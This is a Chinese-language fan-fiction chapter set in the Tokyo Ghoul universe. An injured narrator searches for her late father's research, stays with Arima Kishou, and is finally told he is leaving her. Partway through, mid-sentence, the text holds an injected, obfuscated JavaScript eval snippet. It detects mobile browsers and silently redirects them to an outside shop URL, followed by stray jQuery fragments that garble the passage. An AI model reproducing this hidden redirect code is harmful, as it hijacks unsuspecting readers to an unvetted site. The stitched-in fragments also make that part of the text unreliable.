被刺穿的伤口缓慢愈合，手臂上厚重的石膏终于换成了轻便的固定支架。
养伤的日子像一盘卡顿的磁带，反复播放着同样的片段。我偶尔会去月山家看望母亲，推开门时她总在沉睡，苍白的脸深陷在柔软的枕间，如同一朵失水的花。我在床边坐一阵，看着安定的药液顺着软管一滴一滴注入她的血管，直到日光西斜，才起身离开。
这座宅邸大得令人恍惚。每次见到我，月山叔叔总会放下手边的工作，亲自带我去母亲的房间。平时随侍左右的佣人会被暂时支开，走廊里只剩下我们两人的脚步声，空洞地回响。
“真晞。”有一次在母亲房门外，他忽然停下脚步，“玲子并非全然没有清醒的时刻，只是时间很短暂。如果你想见见，我可以吩咐佣人用摄像机记录下来。”
我愣了一下，点了点头，在确认母亲依旧沉在梦的深潭后，便独自回了家。
可那句关于“被遗忘之物”的呓语，像一枚生锈的钩子，日夜悬挂在心头。
趁着家中无人，我做贼似的溜进母亲的房间，像个卑怯的小偷。我翻开衣柜底层，摸索床垫的背面，拉开每一个抽屉，探进所有隐秘的角落。母亲的东西少得可怜，除了几件款式过时的旧衣只有蒙尘的杂物。
没有笔记本，没有手稿，没有储存设备，连一张可能留有父亲字迹的纸片都没有。
我不甘心，把整个房子都翻了一遍。客厅，厨房，杂物间，被我找到的只有童年的玩具，唯独没有与研究相关的痕迹。父亲像一阵掠过荒原的风，除了我这个活生生的结果和母亲破碎的记忆之外，没有在这个世界留下任何东西。
难道真的什么都不剩了？还是说，在一切尚未崩塌、我们三人还住在老房子的时候，那个至关重要的东西就已经被藏匿了？
这个念头一旦浮现，就再也按捺不住。旧日的老屋封存着我模糊童年，是父亲骤然离世、以及母亲最初产生裂痕的地方。我没有告诉任何人，独自打车回到记忆中早已褪色的街区。老房子依旧空置着，像一具被抽干了生命的躯壳。我用几乎锈死的钥匙费力地旋开锁孔，推开门。
灰尘与腐朽的气息扑面而来。屋内比想象中更加破败，家具东倒西歪，墙皮大片剥落。客厅天花板的一角有漏雨的痕迹，蔓延成一片深色的水渍。这地方已经不像一个家了，像一座被遗弃的墓穴。
我开始了又一次漫长的搜寻。搬开沉重的柜子，撕下发霉卷翘的墙纸，钻进满是蛛网和潮气的地下室。汗水浸透后背，灰尘呛得我不断咳嗽，左臂的伤口在过度用力下传来一阵阵沉闷的钝痛。直到夕阳将空荡的屋子染成一片昏黄，我依然一无所获。
精疲力竭地离开时，街角那家童年时常路过的蛋糕店还亮着暖黄的灯。香甜温暖的气息在清冷的傍晚街道上弥漫开来，像一段不合时宜的旧梦。我推门进去，门楣上的铃铛发出清脆却孤单的轻响。
店里没什么客人，收银台后坐着一位动作缓慢的老婆婆，正在用皱巴巴的手给一盒蛋糕扎缎带。我点了一块最普通的奶油蛋糕，等待的间隙目光无意落向墙角小小的电视。
“……19日晚，位于2区的CCG分部遭到不明喰种集团的大规模袭击，伤亡人数已超过一百六十人……”
画面剧烈晃动，切换成触目惊心的现场影像：断裂的墙壁，刺眼的警灯，盖着白布的担架，还有那些满脸血污、眼神空茫的搜查官。
“袭击者中包含代号‘独眼的枭’的喰种，威胁等级已从S级提升至SS级……”
我怔住了，那晚医院走廊里源源不断的担架和压抑的呻吟声瞬间涌入脑海。原来涌进医院的伤员，那些盖着白布的人，都是从这场袭击中送来的。
“姑娘，你的蛋糕，420円。”
老婆婆的声音将我拉回现实。我匆匆付钱，接过那只散发着甜腻气味的白色纸袋。
走出店门，夜色已浓稠如墨。回去的出租车上，疲惫如潮水般淹没了我。我靠着冰凉的车窗昏昏欲睡，意识在清醒与混沌的边缘漂浮，直到司机不耐烦地提醒我下车，我才迟钝地察觉到哪里不对。
周遭的空气仿佛凝滞了，比别处更沉。光线也黯淡了些，像被什么无形之物悄然吸走了一部分。
我下意识回头。在沉重铁门的阴影里，一个挺拔的身影静静倚墙而立。路灯的光斜斜打过去，勾勒出他清晰的侧脸轮廓。
他来找我了。
心脏在那一瞬间以失控的速度狂飙起来，重重地撞着肋骨。我原以为我会感到狂喜，可比所有情绪更先一步将我吞没的，竟是恐慌。
尖锐的，冰冷的，几乎要将我肺腑掏空的恐慌。
我同手同脚地挪下出租车，付钱时发颤的指尖差点让我没能捏住几枚硬币。司机从后视镜疑惑地看了我一眼，没多话，一踩油门离开了，尾灯迅速消失在街道拐角。只剩下我独自面对几步之外，从阴影中完全走出的身影。
空气凝固了，晚风似乎也绕开了这一小片区域。我能听见自己血液冲刷耳膜的声音，砰砰，砰砰，像困兽垂死挣扎。胸前的固定支架突然变得无比碍眼，仿佛一个昭然若揭的、闪着光的罪证。
我僵在原地，进退不得。想逃，双脚被钉在了水泥地上。想迎上去，喉咙又紧得发不出任何声音。
有马贵将从半明半昧的交界处走出，踏入更亮一些的路面。他的身形完全展现在我眼前，身上穿着一件我没见过的黑色大衣，衬得他整个人比记忆中更瘦削了。他的目光先落在我脸上，很快下移，定在了我吊在胸前的左臂上。镜片后的眉头几不可察地蹙了一下。
“真晞。”
他的声音清晰穿过我们之间短短的距离，敲在我的耳膜上。
理智辛苦构筑的堤坝在这声呼唤里土崩瓦解。眼底涌起温热的泪水，肩膀无法控制地颤抖起来。我几乎是扑过去的，不管不顾地抱住了他，脸颊撞上他大衣冰冷的衣料。
“这么多天……你为什么一次都没有联系我？”我哑声问。
他身体微微一僵。
我并不在意他的回答，只是更紧地贴向他的颈窝，试图从那片有限的温暖里汲取一点点力量，疏散心中淤积的苦痛。“我还以为你出事了……”
我抱着他，手臂还很痛，力道缠得很紧，不肯松开一丝一毫。
有马贵将的嘴唇抿成一条平直的线，浓密的睫毛颤动着，下颌的线条似乎收紧了一瞬。他没有回答我的问题。没有解释为什么这些天杳无音讯，没有说明为什么会突然出现在这里。甚至没有问我发生了什么，伤口怎么来的。他沉默着，像无声涨起的潮水，一点点淹没我刚燃起的微弱期待。
他忽然问：“你一个人在家？你母亲呢？”
我愣了一下，缓缓松开胳膊，含糊地解释道，“她最近病的有些严重，送去医院了。”
他停顿片刻，似乎在思考什么，“你现在的状态，不适合独自回家。”
我还没反应过来，他的目光扫过我沾满灰尘的衣服，继续说道，“去我那里，你需要清洗一下，换身衣服。”
他的语气很怪，就像我刚认识他似的。
“要不还是算了吧，我得回家，有些东西……”
“晚点再说。”他打断我，向前走了一步，侧身示意方向，“车在那边。”
我望向那辆熟悉的黑影，脚下像生了根。
他不对劲。
这个念头像一根细小的冰刺，一头扎进我混乱的思绪里。拥抱时他身体的僵硬，对我问题的沉默，此刻这突兀的、不带回转余地的安排都与我记忆里的有马贵将不同。
也许他只是累了呢？经历了那样惨烈的战斗，任何人都需要时间平复。
“贵将？你还好吗？你看上去……”
“我很好。”他回答得很果断，飞快截断我的话。他再度示意，“上车吧。”
我被迫挪动脚步，每一步都像踩在薄冰上。他走在我半步之前，黑色大衣随着步伐微微摆动，上面传来一种陌生的气息，覆盖了我记忆中那令人安心的味道。
他为我拉开副驾驶的车门。我犹豫了一下，弯腰坐进去。
引擎发动的声音低沉平稳，车子滑入夜色。他没有像以前那样侧过头来看我一眼，车厢里只有空调微弱的气流声。我抱着纸袋，甜腻的蛋糕香渐渐让我有些反胃。我悄悄望向他，只能看见他抿紧的唇和冷硬的侧脸。镜片后的眼睛被阴影覆盖，看不真切。
他是不是知道了什么？是关于妈妈的事吗？
这个念头一旦升起，恐惧便如冰冷的藤蔓缠住心脏。我感觉自己害怕得快要死掉了。指尖在纸袋边缘捏得发白，蛋糕盒的一角被我捏瘪了。
车很快就停在了他的公寓楼下。我跟在他身后走进电梯，密闭的金属空间将沉默放大到极致。他按了楼层键，双手插回大衣口袋里，目光平视着不断跳动的数字。
公寓门打开，里面一片漆黑。他伸手按亮玄关的灯，暖黄的光线驱散黑暗。陈设似乎一切如旧，却又在细微处透出一种说不清道不明的异样感。
“啾啾——”
文鸟展翅飞来，扑闪着翅膀落在了他的头顶。
贵将没有将调皮的鸟儿赶走，脱下大衣随手挂在一旁的衣架上。
“先去浴室。”他没有看我，朝走廊尽头示意，“里面有干净的毛巾和浴袍，你自己去清理一下。”
我僵硬点头，像个被线牵引的人偶走向浴室。关上门，落锁，轻微的“咔哒”声给了我一丝虚假的安全感。
镜子里映出一张惨淡的脸。眼下乌青，头发因为一天的奔波而显得毛躁，嘴唇干裂，眼神里充满了惊惶和疲惫。任谁都能看得出我是如此的不正常。我在老房子里沾了一身的灰，脸颊上还有一道被墙皮刮出的细小红痕，耳后夹着一小片蛛网。这副样子，和之前言笑晏晏的女孩判若两人。
我脱下脏污的衣服，氤氲的蒸汽弥漫开来，模糊了镜面。我盯着那乳白色的影子，大脑飞速运转。
为什么一定要带我来这里？仅仅是因为看到我受伤，认为一个人在家不安全？还是有其他目的？他想观察我？试探我？保护我？
最后一个念头让心微微一颤，随即被更深的疑虑压下。如果只是想保护我，为什么态度如此疏离？为什么对我的问题避而不答？
擦洗干净后，我换上了宽大的白色浴袍将自己紧紧裹住，我深吸一口气，推开了门。
贵将正站在客厅的落地窗前，望着窗外璀璨的都市夜景。手里端着一杯热饮，白雾袅袅升起。听到声音他转过身，目光在被浴袍遮掩却依旧看得出形状的支架上停留了片刻。他走到茶几旁，将我带来的纸袋拿了过来。
“坐下。”他指向沙发。
我小心翼翼地挪过去，浴袍宽大的下摆铺散在沙发上。他将纸袋和水杯一起放在我面前。
“手臂的伤怎么来的？”
我捧着杯子的手指立刻收紧了，他果然会问。
我抬起眼，撞进他镜片后平静无波的视线里。心跳快了一拍，我很快垂下睫毛，盯着杯中微漾的水面。
“不小心摔的。”我低声说，肩不自觉塌下一点，“那天晚上家里的灯坏了，楼梯暗，我没看清，踩空了。”
“踩空？”他重复一遍，听不出信还是不信。
“嗯。”我点点头，鼓起勇气又看他一眼，快速补充，“只是骨裂而已。医生说我运气好，没伤到神经和主要血管，固定一段时间就没事了。”
他又沉默了几秒，然后“嗯”了一声，像是接受了这个解释，没有追问细节。他就此打住，起身走向厨房。“晚饭想吃什么？”
话题被生硬地转开了，但我胸中那口气并没有真正松开。
从那天起，我住进了他的公寓。
时间仿佛被调慢了流速，在紧绷的沉默里渐渐流逝。我的伤口很快愈合，从支架换成更轻便的护具，动作也日渐利落。
贵将像以前一样，准备健康的三餐，提醒我按时吃药，在雨天提前关好窗户。他带回几本我可能感兴趣的书，让我打发漫长的时光。书的种类很杂，有一本园艺图鉴，一本鸟类摄影集，还有一本关于星座的科普读物。他把书放在茶几上，没有说这是给我的，只是放在我常坐的位置旁边。
我笨拙地试图让凝固的空气重新流动起来。
我会在吃晚饭时，刻意讲一些在网上看到的无聊趣闻。他只是偶尔“嗯”一声，目光很少离开餐盘。我尝试提起从前我们一起做过的小事，跟他说蛋糕店里最近出了季节限定的新口味。他抬眼看了看我，淡淡地说：“是吗。”话题便像断了线的风筝，径直坠落，再无下文。
最用心的，是一个小小的、藏在抽屉深处的秘密。
我找了一家口碑很好的手工饰品店定制了一枚领带夹，样式是一匹线条简洁、低头饮水的白马，姿态安静而温柔。在定制的备注栏里，我踌躇良久，最终还是写下了请求：请帮我在背面刻一个字母“K”。
K，是“贵将”（Kishō）的首字母。在我私密的释义里，也代表着“国王”（King）。
记得很久以前，三波同学曾开玩笑地说，有马贵将虽然像死神，但名字听起来更像一位骑士——冷静，强大，总是在有人陷入危难时现身，如同传说中的守护者。可我不想他只做骑士。骑士总在为他人而战，为使命与誓言所束缚，将自我掩藏在盔甲与徽章之下。我希望他能挣脱那些沉重的枷锁，不必永远扮演挡在最前方的壁垒。希望他能成为自己命运的主宰，像一位真正的国王，拥有选择与自由的权柄。
这枚小小的领带夹便是那个愿望的微小寄托。我想等我手臂完全康复、不再是个需要被照顾的伤患那天把它送出去。纪念我终于痊愈，也纪念我们之间或许还能寻回的、一丝微小的温度。
礼物悄悄送来的那天，我躲在房间里小心地拆开包装。白金材质流转着细腻的光泽，比设计图上看到的还要精致漂亮。我把它翻过来，指腹轻轻抚过背面那个小小的、刻工清晰的“K”。把它握在掌心许久，金属渐渐被体温焐热，仿佛也有了生命。最后把它仔细收进一只深蓝色绒布小袋里，藏在外套的口袋中。
可那股萦绕不散的不对劲感，像窗外日益浓重的夜雾，不仅没有消散，反而愈发粘稠。
最明显的是他的目光。我总感觉身后有视线落下——当我费力用右手拿起汤匙时，当我望着窗外天空发呆时，当我蜷在沙发里昏昏欲睡时。每当我若有所觉地回头，他总是恰好在那一刻移开视线，目光落向翻开的书页，或是窗外一片虚无的远景。只留给我一个毫无破绽的侧影。
他变得异常安静。对话只剩简短的询问或告知。所有可能触及过往和情感的话题都被他巧妙地回避。深夜我被噩梦的余悸惊醒，在黑暗中惊慌喘息时，他只是推开卧室门，静静站在门口看一眼，确认我没有出事便无声地关上门离开。从头至尾没有一句安抚。那道门缝里透进来的光，亮几秒，又灭了。
我不断地催眠自己：他只是太累了。从伤亡惨重的战场归来任何人都需要漫长的时间来舔舐伤口、平复心绪。我小心扮演着乖巧伤患的角色，不多问，不打扰，将所有疑虑与不安死死压在心里。
在他身边我如履薄冰，每一次他沉默的凝视，每一次他回避的对话，都像细小的冰锥，扎进我早已不堪重负的神经。我喜欢他，依赖他。在一片荒芜的黑暗里他是我唯一能看见、想要抓住的稻草。但我同样惧怕他，惧怕他洞悉一切的目光看穿我所有拙劣的隐瞒，惧怕他终将像对待其他多余之物一样，冷静地将我剥离他的生命。
这份爱恋与恐惧交织的情感日夜撕扯着我，让我在他身边的每一刻都像在锋利的刀尖上行走。痛楚清晰无比，找不到逃离的理由与方向。
直到我手臂完全康复的那天。
医生拆掉最后的固定，我把手臂举起来在太阳下仔仔细细检查了几遍。除了一个浅淡的、几乎难以辨认的牙印，已经看不出任何受伤的迹象。
回去的路上，我摸了摸外套口袋里深蓝色小袋。白马的轮廓隔着绒布贴着手心，仿佛一个沉甸甸的烙印。连日来的疲惫、搜寻无果的绝望、对母亲的担忧，还有那份如影随形的紧绷几乎将我压垮。只有想到他，想到这枚承载着希冀与未竟话语的小小信物，我才能从一片泥泞中勉强汲取一口继续前行的氧气。
一路小跑回到公寓。推开门的时候，贵将正坐在窗边的单人沙发上。夕阳勾勒出他清晰的轮廓，镜片后的眼睛望向窗外远处，像沉在遥远的思绪里。他面前的茶几上放着一份文件，封面朝下，看不清是什么。
“贵将，”我吸了口气，尽量让声音听起来轻快自然，像一个真正痊愈的人，“我的手臂好了，我想明天就回家住，可以吗？”
他像是被我的声音从虚空中缓缓拉回。转过头，目光先落在我活动自如的手臂上，停顿片刻，上移，落在我脸侧某处空无的位置。
“嗯。”他应了一声，听不出情绪。放下手中始终未读的文件，身体微微前倾，双手交握放在膝上，露出一个略显正式的姿态。
“真晞。”
“什么？”我下意识应道，胸腔里那股不安的躁动骤然加剧。
“我记得大学应该已经开学很久了，你为什么没去？”
这个问题来得太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580509|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
突兀了。我怔了怔，口袋里的手指缓缓松开。也许是因为手臂康复给了我虚假的勇气，深植心底的念头终于破土而出。
我听见自己的声音，带着一种破罐破摔的坚决，响在过分安静的客厅里：“因为我想研究喰种。”
话音落下的刹那，浮尘在光柱中的轨迹都仿佛凝固。我紧盯着他，想从那片深潭里找到一丝熟悉的波动。
“我知道很危险，知道你不赞成，你说过那不是我能涉足的领域。”我的声音不自觉地提高，“我试过考虑别的方向，试过接受其他的工作。贵将，我……”
我想说母亲，想说父亲可能留下的渺茫线索，想说我在黑暗中不得不摸索的理由。所有话语都堵在喉间，最终变成一句孤注一掷的宣告：“我还是想研究喰种，就算你不同意，我也一定要做。”
他的瞳孔几不可察地收缩了一下。
他移开了原本就未曾与我对接的目光，重新望向窗外。没有回应，没有驳斥，只有漫长到令人心悸的沉默。客厅里只剩浮尘游动的轨迹，和我越来越响、几乎撞碎肋骨的心跳。
时间被无限拉长。久到我开始后悔这突如其来的坦白，久到那点虚假的勇气像阳光下的露水，即将消散殆尽。
他终于开口。声音比刚才更低，穿透很厚的屏障才抵达这里。
“你知道你每晚都在做噩梦吗？”
他说得很慢，每个字都像经过谨慎斟酌。
“你会哭，会尖叫，会紧紧蜷起来发抖……”他停顿了一下，目光没有焦点地落在对面空白的墙上，“你会喊我的名字。”
我的呼吸骤然停滞。
“每当听到你叫我的名字，我都会过去。我想叫醒你，至少让你知道有人在。”他微微转动视线，这一次，直直望进我骤然收缩的瞳孔里。“可你从梦里挣扎着醒来，在意识还没完全清醒、下意识寻求依靠的时候，看到我的第一眼……永远都是恐惧。”
“不是的，我只是……”辩解的话冲上舌尖，我想说那只是噩梦残留的错觉。可巨大的恐慌攫住了我，他看见了我脆弱不堪、连自己都无法直视的模样。所有言语都被他始终平静的眼睛扼住，发不出任何成调的音节。
我只是僵硬地站在那里，唇瓣翕动，发不出一点声音。
贵将似乎早已预料我的失语。他伸手拿起那份被遗忘的文件，几秒后又放下，目光重新投向窗外渐浓的暮色。
“从明天开始我会调到CCG总部工作，任务性质和地点都会有变动，之后会很忙。”
我愣住。大脑嗡嗡作响，还沉陷在被他窥见噩梦的恐慌里，一时没理解这突如其来的调动与先前的话题有什么关联。
“其实那天晚上找你，本就是来告别的。”他继续说道，视线固定在轻敲窗户的树枝上。窗外那棵银杏的叶子已经落了大半，光秃的枝条在风里微微发颤。“只是没想到你受了伤，就多耽搁了几天。”
……啊，告别。
告别？
有什么东西“噗”地一声漏了气。
我难以置信地望着他。那双曾盛着夜海的眼睛，此刻星辰寂灭，海潮干涸，露出底下荒芜的、布满嶙峋记忆白骨的滩涂。往昔所有温柔的回响、所有默许的微光，都像烈日下的蜃景在眼前扭曲蒸腾。我们之间的一切，顷刻间成了再也无法抵达的幻影。
我的声音干涩得厉害。“告别是什么意思？”
他没有解释，连眼睫都没颤动一下。我徒劳的追问只是一缕掠过顽石的微风。他将视线从空茫的窗外收回来，落在自己交叠的手上。那双手我曾经握过无数次，此刻只是安静地搁在膝上，纹丝不动。
荒谬的洪流猛地冲上头顶。左臂早已愈合的皮肤似乎又传来幻痛。我猛地转过身，开始无法抑制地颤栗，剧烈地干呕起来，什么也吐不出。肺叶像离水的鱼徒劳翕张，一万朵湿透的棉花塞满了胸腔和喉咙。我觉得我快要死掉了。
“贵将——”我听见自己的声音在颤抖，破碎得不成样子，“你知道……你知道自己在说什么吗？！”
他终于完全转过身，正面对着我。最后一缕残阳从他身后涌来，将他的面容彻底吞没在深重的阴影里。我看不清他的眼睛，看不清任何表情。只看到一个轮廓，一个决绝的、没有温度的剪影。
“我知道。”他回答，没有任何动摇，“真晞，我们……”
他的话音未落，我后背的汗毛瞬间炸立。一股冰冷的战栗沿着脊柱窜上天灵盖。我像被针狠狠扎了一下，几乎是弹跳着向后踉跄，拉开距离。
“不！算了！你……你别说话了！”我语无伦次，双手胡乱地在身前摆动，仿佛这样就能挥开他即将出口的言语，“贵将，求你了……你别说话……什么都别说……我求你了……”
我大口大口地吞咽着空气，感觉不到氧气进入肺腑。心脏在胸腔里疯狂擂动，撞得我眼前阵阵发黑。这些日子积压的、所有不敢深究的失控预感，此刻如同疯长的黑色水草，从意识的深渊里翻滚上来，缠住我的脖颈。它们不再是朦胧的阴影，是即将落下的绞索。
四周死寂，只剩下我粗重狼狈的喘息声。有马贵将闭了闭眼，短暂合拢的眼帘像对不忍卒睹的画面最后的告别。他就这样沉默地看着我，看着我像受惊的动物般仓皇后退，看着我成为一个彻头彻尾的、失控的疯子。我在他亲手划下的温柔光圈边缘苟延残喘了太久，此刻终于被一脚踢回了现实的黑暗。
“为什么啊？！”积聚的所有恐惧和愤怒在这一刻终于冲破了喉咙。我猛地站直身体，一阵剧烈的眩晕随之袭来，天地旋转，让我摇晃着几乎栽倒。“为什么从3区回来之后你就全变了？！你走的时候明明不是这样的啊……你答应过我的……你明明答应过的！”
我看着这个近在咫尺的人，还能想起他指尖拂过我发梢时微凉的触感，雨夜里那把永远向我倾斜的黑伞，他说“下次带你去”时眼底那抹转瞬即逝的、却让我珍藏至今的柔和微光。这个让我视为废墟里唯一支柱的人，此刻正用最冷静的口吻，亲手斩断我们之间所有的连结。
我绝对不要这样。
我的胃开始疯狂痉挛。我无法控制它，无法控制住泪腺，无法控制任何事情的走向。仅凭着溺水者最后的本能，我踉跄着扑过去，用刚刚恢复力气的手死死抓住他平整的衣袖。
有马贵将一动不动，连呼吸的节奏都未曾改变。他的脸上覆着一层奇异的平静，一种将所有情绪剥离后的漠然。在渐浓的暮色里，苍白得像个早已失去生命的死人。
我的声音低了下去，所有的镇定都碎成齑粉，只剩下最卑微的哀求：“别这样行吗……”
眼泪滴落在衣袖上，留下烂疮一样深色的圆点。我抓着他的袖子，像即将灭顶的人死死抓住最后一根浮木——尽管那浮木正散发着寒意，无可挽回地带着我一同沉向无光的深渊。
“你答应过的……你说过如果我不幸福，就和我在一起……我现在过得不好，一点都不好。”我语无伦次，泣不成声，将所有的脆弱摊开在他面前，“如果连你都不要我了，如果连你都放手……”
我仰起满是泪水的脸，徒劳地想看清他阴影中的表情，用尽最后力气说出那句交出全部尊严的话：“我会掉下去的……贵将，我一定会掉下去，再也上不来的……”
时间在泪水滚烫的滑落中变得粘稠而漫长。在我的手掌之下，他手臂肌肉绷得极紧，像一根拉到极限的弦。耳边只有我自己破碎断续的抽噎，在空旷得可怕的客厅里孤零零地回响。
有那么一刹那，我看见他垂在身侧的另一只手，手指极其轻微地蜷缩了一下，指节用力到泛起青白。
那细微的波动如同投入万丈冰渊的石子，连一丝回响都未曾激起，便悄无声息地冻结在死寂的寒冷深处。
他依旧一言不发地站着，像一座沉默的山。任由我抓着他的衣袖，像个彻底崩溃的疯子般哭泣哀求。他没有抽回手，没有给予丝毫回应，一点一点地割裂我与他之间所有记忆的纽带，割断我所有赖以生存的幻想与期待。从此以后，你的世界是晴是雨，是上升还是坠落，都与我无关了。
仿佛过了一个世纪那般漫长。
他终于动了。
他缓慢地将那截衣袖，从我早已失去所有力气、只是凭借执念虚虚搭着的指间，一寸一寸抽离。
他微微低下头，镜片后的目光平静地落在我空空如也、还徒劳地保持着可笑抓握姿势的右手上。
“真晞。”
他叫了我的名字，如同最终落下的铡刀，平静地说出了那句将我彻底推入深渊的话。
“已经是需要分别的时候了。”